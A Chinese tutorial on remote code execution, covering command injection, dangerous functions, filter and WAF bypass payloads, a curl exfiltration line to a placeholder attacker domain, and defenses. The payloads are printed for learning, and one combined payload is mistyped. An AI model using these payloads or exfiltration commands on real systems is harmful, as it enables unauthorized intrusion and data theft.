☰
RCE漏洞攻防实战:远程代码执行的原理、绕过手法与防御加固
2026/10/14 3:49:01 网站建设 项目流程

干我们这行的,每年看到内部通报里出现“远程代码执行”这几个字,就知道后面跟着的结论大概率是“核心服务器失陷,数据面临泄露风险”。RCE漏洞,远程代码执行/命令执行,翻译成人话就是:攻击者向目标服务器提交一段精心构造的输入,服务器没做有效过滤,直接把它当成指令执行了,等于把服务器大门钥匙亲手交了出去。

做攻防演练这几年,我见过太多系统因为一个没过滤参数的上传点、一个遗留的后门接口、甚至一段拼接了用户输入的命令行,从“可以被访问”变成“可以被控制”。RCE不是某一个函数的问题,而是从用户输入到系统执行之间一整条信任链出了裂缝。不管是刚入门、拿着扫描器到处打点的渗透测试新人,还是天天被安全部门追着改代码的开发同学,或者是需要给业务系统做体检的运维工程师,这篇文章都值得从头看到尾——我尽量把命令执行和代码执行的原理、常见触发点、黑名单/白名单的过滤原理、绕过的套路,以及防御侧该堵的坑,一次讲清楚。

1. RCE漏洞的核心原理:一条输入是怎么变成一台服务器的

1.1 什么是RCE,为什么它比SQL注入更致命

RCE全程是Remote Code Execution,字面意思就是远程代码执行。实际测试里大家还经常把它细分成两类:一类是远程命令执行,也就是让服务器操作系统执行ls、whoami这类系统指令;另一类是远程代码执行,让服务器执行PHP、Java、Python这类脚本语言代码。两者的“最终受害者”不完全一样,但结果都一样——程序逻辑被绕过,攻击者拿到了执行权限。

拿生活里的例子打比方:一个正常的功能,好比小区门口的访客登记系统,你输入手机号,它查一下数据库,然后放行。而存在RCE漏洞的功能,相当于访客系统把你的输入直接递给了门口的保安,保安看都不看,喊一嗓子“他说他是业主,让他进!”于是任何人都能进。服务器端也一样,用户的输入本该被当作“数据”来处理,结果却被当成“可执行的代码/命令”来运行,被恶意利用只是迟早的事。

1.2 命令注入的完整链路:从参数到shell

我们来拆一条最经典的命令注入链路。很多在线工具类站点都有“查询IP归属地”的功能,后端代码可能是这样的:

$ip = $_GET['ip']; $result = shell_exec("ping -c 1 " . $ip); echo $result;

开发者的本意是:用户输入一个IP,服务器执行ping -c 1 8.8.8.8,把结果返回给用户。问题在于:$_GET['ip']的内容是完全可控的,而且后端没有做任何过滤。如果用户输入的是:

8.8.8.8; whoami

那么最终拼接出来的命令就变成了:

ping -c 1 8.8.8.8; whoami

在shell语法里,分号代表“前面命令执行完,继续执行后面的命令”。于是whoami紧跟着ping被执行了——这就叫命令注入。攻击者真正输入的只是一个字符串,但服务器替他把命令执行了。

这条链路里有一个关键点:漏洞的核心不是函数本身,而是用户输入和命令上下文被直接拼接。函数只是通道,通道本身没错,错的是把关的人把危险货物放上了传送带。

1.3 为什么RCE的“危害评级”几乎永远是最高的

在漏洞评级里,RCE基本稳定在CVSS 9.0以上。原因很朴素:SQL注入攻击者拿到的是数据库里的数据,任意文件读取攻击者拿到的是某些目录下的文件,而RCE拿到的是服务器上一切命令的执行权限——理论上,服务器里所有文件、进程、数据库连接、内网其他主机,都能成为接下来的目标。

一个成功的RCE利用,通常只需要两步就能把战线从“外部打点”推进到“内网横移”:先执行whoami和id看当前身份,如果权限是普通用户就找提权点,是root/administrator就直接抓密码、哈希、配置信息,然后用内网工具跳到其他机器。整个链路中唯一的瓶颈,反而是前期如何绕过一堆过滤和防护,把命令成功送入执行点。

2. 触发RCE的常见入口:危险函数与隐蔽场景盘点

2.1 PHP世界里的“执行全家桶”

PHP是RCE的重灾区,不是因为PHP本身垃圾,而是因为PHP给了开发者太多直接和系统交互的函数,用得不好就容易出事。以下这些函数,出现在生产代码里都得打上问号:

函数作用典型风险
system()执行命令并输出结果直接回显,最方便利用
exec()执行命令,返回最后一行回显不完整,需要技巧
shell_exec()/ 反引号执行命令,返回完整输出无回显时要用间接手段
passthru()执行命令并直接输出原始返回二进制命令也用得上
popen()/proc_open()执行命令并建立管道读写常用于交互式利用
eval()把字符串当作PHP代码执行代码执行,不限于系统命令
assert()在特定版本下可以执行代码老版本问题多
preg_replace()/e修饰符会把替换内容当代码执行已废弃但存量代码仍存在

这类函数都被冠以“危险函数”的称号。常规做代码审计时,如果看到业务代码中出现这类函数,并且入参直接或间接来自用户输入,基本就锁定了嫌疑点。

但请注意,函数本身不是洪水猛兽。有些老系统显示服务器状态、重启服务、导出数据,都依赖这类函数。真正的安全基线是:不允许用户输入直接进入函数参数,即使进入,也必须经过严格的过滤、转义和命令参数化。

2.2 Java和Python侧:你以为没有,其实到处都是

很多Java同学觉得“我们项目里根本没有system()这种函数,安全得很”。但Java世界里RCE的入口更多以反序列化、表达式注入、模板注入的方式出现。Runtime.getRuntime().exec()和ProcessBuilder是最直接的命令执行入口,框架里的表达式引擎(如SpEL、OGNL表达式注入)、模板引擎(如Freemarker、Velocity的SSTI)、以及XML反序列化链,都是RCE的高发位置。

Python这边同理,os.system()、os.popen()、subprocess.call()、eval()、exec()、pickle.loads()都是经典入口。尤其是Python应用的markdown渲染、配置解析、模型加载环节,如果让人家反序列化了一个恶意对象,运行流程走到一半,命令就已经执行完了。

这里想插一句踩过的坑:不要只盯着代码里的显式函数,更要关注项目依赖的第三方组件。像Log4Shell这类远程代码执行问题,出事的代码你根本看不到,它在依赖包里面。这类问题的可怕之处在于,你明明写的都是“安全代码”,却因为一个依赖的bug整站沦陷。

2.3 入口的隐蔽形态:不只是URL参数

很多人对RCE的理解停留在“URL后面加命令”的层次。实际测试里,RCE的触发点比这隐蔽得多:

  • 用户上传的文件名拼接进系统命令:上传a.txt;mkdir test,后端执行mv /tmp/a.txt;mkdir test /uploads/,命令被注入。
  • HTTP请求头(User-Agent、X-Forwarded-For)直接进日志分析脚本,日志分析命令拼接了请求头。
  • 数据库里的值被取出后拼接入命令,比如根据用户填写的城市名去调用系统工具生成图片。
  • JSON/XML配置解析时,某个字段被当作动态代码执行。
  • 定时任务、消息队列消息内容进入命令执行。

这些入口的共同特点:用户输入不一定是“URL参数”,也可能是请求头、文件内容、消息内容,甚至数据库里存的历史数据。所以测试RCE时,光盯参数是不够的,要从所有“可控制的输入点”出发,向后追踪数据流。

3. 从零复现一次RCE:环境搭建、探测与利用流程

3.1 准备一个合规的测试环境

要理解RCE,亲手复现一次比看任何资料都深刻。建议在本地搭一个专用靶场,网上有一些开源的在线靶场(自建即可),或者直接用最简单方式:一台自己电脑上的虚拟机,装好PHP环境,写几行有漏洞的代码。

我这里用一个练手用的PHP示例来演示,代码是这样的:

<?php if (isset($_GET['cmd'])) { $cmd = $_GET['cmd']; system($cmd); } ?>

访问:

http://127.0.0.1/test.php?cmd=whoami

如果页面上输出了当前运行PHP的用户名,恭喜你,环境就绪,一个最原始的“代码执行后门”已经复现。后面所有绕过的讨论,都是围绕这种直接拼接的入口和各类过滤场景展开的。

3.2 探测手法:不要一上来就打payload

新手最容易犯的错:看到注入点,立刻上cat /etc/passwd,结果被WAF拦截、被过滤,就以为不存在RCE。实际上哪怕你面前坐着一个可利用的命令注入点,正确路径也是先做信息收集级别的探测。

我习惯的“三步探测法”:

第一步,正常请求,观察回显格式。比如一个带ping功能的页面,先传一个合法IP,确定后端确实执行了ping、回显了什么格式。 第二步,注入一个无害但有特征的命令。最经典的是id和uname -a,它们无副作用、回显特征明显。 第三步,确认命令是否真正执行。如果回显里出现了uid=...之类的输出,说明命令注入成立,再开始做进一步利用。

有一次测试,我往参数里加了一个分号和一个echo标记,页面什么都回显。但我等了五秒,日志里出现了访问记录。这说明命令执行了,只是输出没有打印出来。这就是典型的无回显RCE,需要改用盲打的思路。

3.3 有回显与无回显:利用思路分叉路

有回显的RCE利用起来最舒服,直接执行命令、直接看结果。无回显的情况则需要开脑洞:

第一种思路是“延时探测”:注入sleep 5,网页明显卡了5秒,就能间接证明命令执行了。 第二种思路是“外带数据”:把命令的输出结果发送到你自己的服务器上,比如:

cat /etc/passwd | curl http://你的域名/collect?data=$(base64 -w0 /etc/passwd)

只要你的服务器日志能看到请求,数据就拿到手了。 第三种思路是“写入文件”:把命令输出重定向到web目录下:

whoami > /var/www/html/result.txt

然后直接访问result.txt,相当于给盲打的RCE装了一面镜子。

无回显的测试难点不在于执行,而在于确认。没有回显时,确认一个注入点是否真的能执行命令,往往比后面怎么打更重要。

3.4 利用之后的权限判断与最小动作原则

命令执行成功后,第一件事不要着急翻文件,先看当前身份和环境:

id whoami cat /etc/os-release uname -a env

这几个命令能告诉你:你是谁、什么系统、有什么环境变量。如果当前权限是root,后面的事会顺利得多;如果是普通用户,后续要去找提权点。在授权的测试里,此时就要开始记录步骤、保存证据了,没有授权的情况下,到这里就应该停止。

注意:本篇所有的复现和利用思路,仅限你在自建靶机或获得明确授权的环境中使用。擅自对未授权目标发起测试是违法行为。

4. 绕过方式全解析:当黑名单/过滤器站在你面前

很多系统不会像靶场一样裸奔。开发者通常会做一层过滤,最常见的是黑名单策略——把危险字符和危险命令名拉一个清单,发现有匹配就拦截。本节就围绕“过滤了什么、怎么绕过、为什么能绕过”来展开。

4.1 空格被过滤:你用什么替代那一下“间隔”

很多过滤逻辑首先盯上空格,因为命令和参数之间必须有空格,去掉空格,命令就“粘”在一起了。这时有几个常用的替代品:

第一种是${IFS}。在bash里,IFS是内部字段分隔符,默认包含空格、tab、换行。${IFS}被shell解析成分隔符,可以让命令分隔开。比如:

cat${IFS}/etc/passwd

第二种是$IFS$1。注意${IFS}和$IFS的细微区别,某些情况下裸的$IFS后面直接跟字符会有问题,加个$1(空参数)可以起到隔离效果:

cat$IFS$1/etc/passwd

第三种是tab字符。在URL编码里tab是%09,在某些场景下能直接代替空格,比如:

cmd=cat%09/etc/passwd

第四种是重定向符。有些命令支持<重定向输入,比如cat</etc/passwd,利用重定向可以避开空格。不过这要分命令看,ls、whoami这类不支持输入重定向的命令就不适用。

顺带一提:如果过滤了$,那${IFS}注定无效,此时优先尝试tab,其次重定向符。这就要回到第一节说的核心——绕过之前,先搞清楚过滤了什么。

4.2 关键字被过滤:用拼接和编码把命令“藏”起来

如果黑名单里直接写了cat、whoami、ls这类命令名,直接在URL里出现必被拦。此时思路是把“真实命令名”在请求里拆散,让检测正则匹配不到连续子串,但shell解析后仍然能得到同一个命令。

最经典的招数是引号拼接。shell里的"cat"和c"a"t最终会被解析成cat,但检测代码里的strpos($cmd, 'cat')匹配不到c"a"t中的连续cat,于是成功绕过:

c"a"t /etc/passwd ca't' /etc/passwd

反斜杠也有类似效果。c\at在bash里会被解析成cat,在PHP的preg_match黑名单正则中/\bcat\b/则无法匹配c\at:

c\at /etc/passwd

变量拼接也很常用。利用环境变量或自定义变量的值拼接成命令,比如:

a=c;b=at;$a$b /etc/passwd

更通用的是编码解码。先把命令用base64编码,再在服务器上解码执行:

echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash

这里的Y2F0IC9ldGMvcGFzc3dk就是cat /etc/passwd的base64结果,黑名单检测的若是明文命令,根本看不到cat。同样思路还有十六进制、octal等编码方式。

这类绕过成立的关键原因:黑名单基于字符串匹配,而shell的解析规则远比字符串匹配复杂。黑名单写不全shell的所有语法特性,这就是绕过的空间。要彻底解决黑名单问题,不能靠加长黑名单,而是要用白名单校验。

4.3 分隔符被过滤:&、|、; 全被干掉了怎么办

命令分隔符是命令注入的“缝针线”。常见的过滤器会把&、|、;、$()、反引号全部替换为空。这时思路可以换成:

利用换行符。在URL编码里换行是%0a,shell同样支持换行分隔命令:

cmd=ping%0a-c%0a1%0awhoami

利用命令替换的变体。$()被过滤,还可以试试反引号内嵌、$(() )这套,但依赖具体shell版本。

利用参数逃逸。比如目标命令是ls -al,你可以构造ls -al --help;whoami,只要有分号漏过去就够。

还有一招是在过滤字符之间加“换行/回车”的变异。有些过滤逻辑只拦截\n,但\r(%0d)或\r\n组合也能被部分shell识别。

这类文章大多罗列了一大堆payload,但真正到实战里,我建议先做减法:按“分隔符—空格—关键字—路径”的顺序逐层测试,哪层被卡就集中绕过哪层,而不是把所有payload盲打一遍。

4.4 路径黑名单:读不了/etc/passwd,但能读别的东西

有些过滤会把敏感文件路径直接拉黑(比如/etc/passwd)。绕过方式是利用通配符和花括号展开:

cat /et?/pa??wd cat /etc/pa{s}swd cat /{etc,etc}/passwd

Linux的?通配符可以匹配任意单个字符。/et?/pa??wd展开后正好就是/etc/passwd。花括号则可以做多路径展开,{etc,etc}拼起来还是etc,但文件里没有直接出现/etc/passwd这个字面量。

如果连/斜杠都被过滤,难度会高一些。此时可以看看有哪些环境变量包含路径信息,然后利用字符截取来拼出路径。比如用${PATH:0:1}取出路径中的第一个字符,刚好是/(取决于PATH值),再用${HOME:0:1}同样能拿到/。两个变量组合就能构造/bin/cat。

不过说实话,这类利用对环境和shell版本要求比较高,属于“压箱底”的技巧。日常测试中,与其花大量时间猜路径绕过,不如先看env有哪些变量可用,变量里就藏着现成的路径。

4.5 无回显+过滤双重限制:组合拳打法

场景再苛刻一点:命令能执行但结果不显示,同时黑名单还过滤了cat、whoami这些命令。此时可以组合使用前面所有技巧,再叠加“外带数据”的思路。

例如:

  • 用引号拼接绕过命令名限制(c"a"t)
  • 用${IFS}绕过空格过滤
  • 用base64把结果编码后输出到可控位置

一条组合payload(假设能被URL编码接受):

echo$(IFS)Y2F0IC9ldGMvcGFzc3dk|ba"se"64${IFS}-d|ba"sh"

这里Y2F0IC9ldGMvcGFzc3dk其实是cat /etc/passwd的base64编码。请求发出后,即使页面没有任何回显,只要数据被发送到攻击者控制的服务器、或写入到web目录下的文件里,就说明整个链路是通的。

这类组合拳没有万能公式。基本思路是:先确认哪层过滤被触发,再选取对应的绕过手段,最后把数据送出来。顺序错了,payload往往死得不明不白。

5. 常见问题与排查实录:为什么你的payload打不通

5.1 页面纹丝不动,怀疑命令执行了但没回显

这是出现频率最高的情况。我建议按这四个方向排查:

第一,看代码是否回显。有的函数(比如exec())只返回最后一行,你的命令输出了50行,页面只显示最后一行,会以为没反应。 第二,看命令是否真的执行。用延时探测法,注入sleep 5,页面卡了没有?卡了说明执行了,只是输出没出来。 第三,看stderr输出。有些错误信息走的是标准错误,不会直接进网页输出,可以试试2>&1把错误重定向到标准输出一起带回来。 第四,看日志和外部请求。能不能在自己控制的服务器上收到请求?收到请求就实锤了。

5.2 空格和分号都被过滤,还是案件复现的源头

很多时候payload打不通,是因为没有梳理过滤清单。我遇到过系统过滤了;和&&但没过滤|,或者过滤了|但没过滤%0a,这类情况相当普遍。真正高效的排查方式是造一份“输入点探测表”,把候选分隔符、空格替代方式逐个试过去,记录哪个能通、哪个被拦,再决定主攻方向。

这里必须提醒:过滤字符的探测一定要在授权环境做,千万不要拿别人的线上系统练手。

5.3 命令执行了,但权限太低,几乎什么都做不了

命令注入的初始权限往往取决于Web服务的运行用户。如果是www-data这类低权限用户,你很快就发现/root读不了、sudo用不了、很多目录进不去。此时不要急于找提权,先看有没有可写目录、有没有泄露的数据库配置、有没有其他用户的可读文件。

find / -writable这类命令在注入点里往往输出量巨大,容易被过滤或卡死。更聪明的做法是优先看/tmp、/var/tmp、web目录下的可写情况,以及能否写文件到web目录——一旦能写一个shell脚本或web后门,后面操作空间就大多了。

5.4 目标有WAF/防护设备,payload直接被吞

商业化WAF的检测能力比普通黑名单强太多,简单的引号拼接、base64解码很容易被语义分析识别。此时核心思路是“分而治之”:把payload拆成多个请求、利用中间状态、或者寻找不经过WAF的路径(比如直接绕过CDN访问源站IP)。

另一个思路是避开WAF重点检测的协议层。有的WAF对GET参数查得紧,但POST请求体、JSON字段、文件上传的Content-Disposition里却过滤稀疏。这也是为什么很多时候RCE利用会尝试换一种提交方式,而不是死磕同一个参数。

6. 防御视角:从源头堵住RCE,别把服务器交给运气

6.1 输入校验必须上“白名单”,别指望黑名单

文章前面讲了大量绕过黑名单的技巧,本质都是在证明同一件事:黑名单永远有漏洞,因为它依赖对攻击手法的完备枚举。防御的正解是白名单校验:明确这个参数允许什么格式,不符合直接拒绝。

比如IP地址就按IPv4/IPv6格式严格校验,数字就强制intval()转型,文件名就限制白名单字符集。输入不是A-Za-z0-9._-以外的字符直接返回400,命令注入的空间就消失了。

6.2 命令执行函数的调用姿势要正确

有些场景确实绕不开系统命令,比如企业系统要调ffmpeg转码、要调mysqldump备份。此时一定要做:

  • 参数化命令,把命令和参数分离,参数作为数组传入(如PHP的escapeshellarg()、Python的subprocess.run([...])),避免用户输入和命令行上下文拼接。
  • 如果必须拼接,先用escapeshellarg()/escapeshellcmd()转义。
  • 在目标系统上为任务配置独立的低权限用户,让命令执行后的默认权限最小化。

经常见到开发者用system("ffmpeg -i " . $file)这种写法,$file如果来自用户上传的文件名,基本就是把服务器往火坑里推。

6.3 底层权限和容器隔离,兜底方案不能少

就算代码层防住了,RCE的“最后一击”往往还是发生在系统层。给Web服务分配独立低权限用户、限制沙箱资源、用Docker等容器隔离运行、禁掉不必要的系统调用,这些措施虽然不能阻止代码层面的漏洞产生,但能把一颗RCE炸弹的爆炸半径限制在最小范围。

另外一个容易被忽视的点:日志和监控。很多项目被拿下之后,攻击者能翻箱子倒柜好几天都无人察觉。把命令执行的审计日志(尤其system()、exec()等函数的调用记录)、异常的出网请求(比如服务器主动连接外部IP)、文件写入事件都纳入监控,一旦有人打RCE,至少能在早期发现异常并止损。

6.4 给开发和测试的清单:上线前做这几件事

总结一份可以放进CI/CD安全门禁的RCE自查清单:

检查项说明
代码中是否存在危险函数调用搜system、exec、eval等
用户输入是否可能进入函数参数追踪数据流,看入参来源
是否做了白名单校验没有=高风险
是否使用参数化方式执行命令是=更安全
Web服务运行权限是否为低权限root运行=严重风险
无回显场景是否有日志监控没有=漏洞可能被长期利用而不被发现
依赖组件是否有已知RCE漏洞定期做依赖扫描

以前做代码审计时,只要看到高危函数+用户输入直接拼接,评级直接判“严重”,因为这些组合的利用成本极低、影响极大,而且事后难以追查。现在很多自动化工具也能做类似检查,但工具的误报率不低,关键逻辑必须人来判断。

安全测试不是要把所有系统都打得千疮百孔,而是用攻击者的视角帮系统补上最后一层铠甲。RCE之所以让人敬畏,正因为它在整个漏洞链里处于最上游的“执行层”——一旦命中,前面所有WAF、认证、加密都变成了装饰品。理解了它的原理和绕过思想,再去写代码、做排查、看日志,你会比绝大多数人更早发现那条危险的裂缝。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询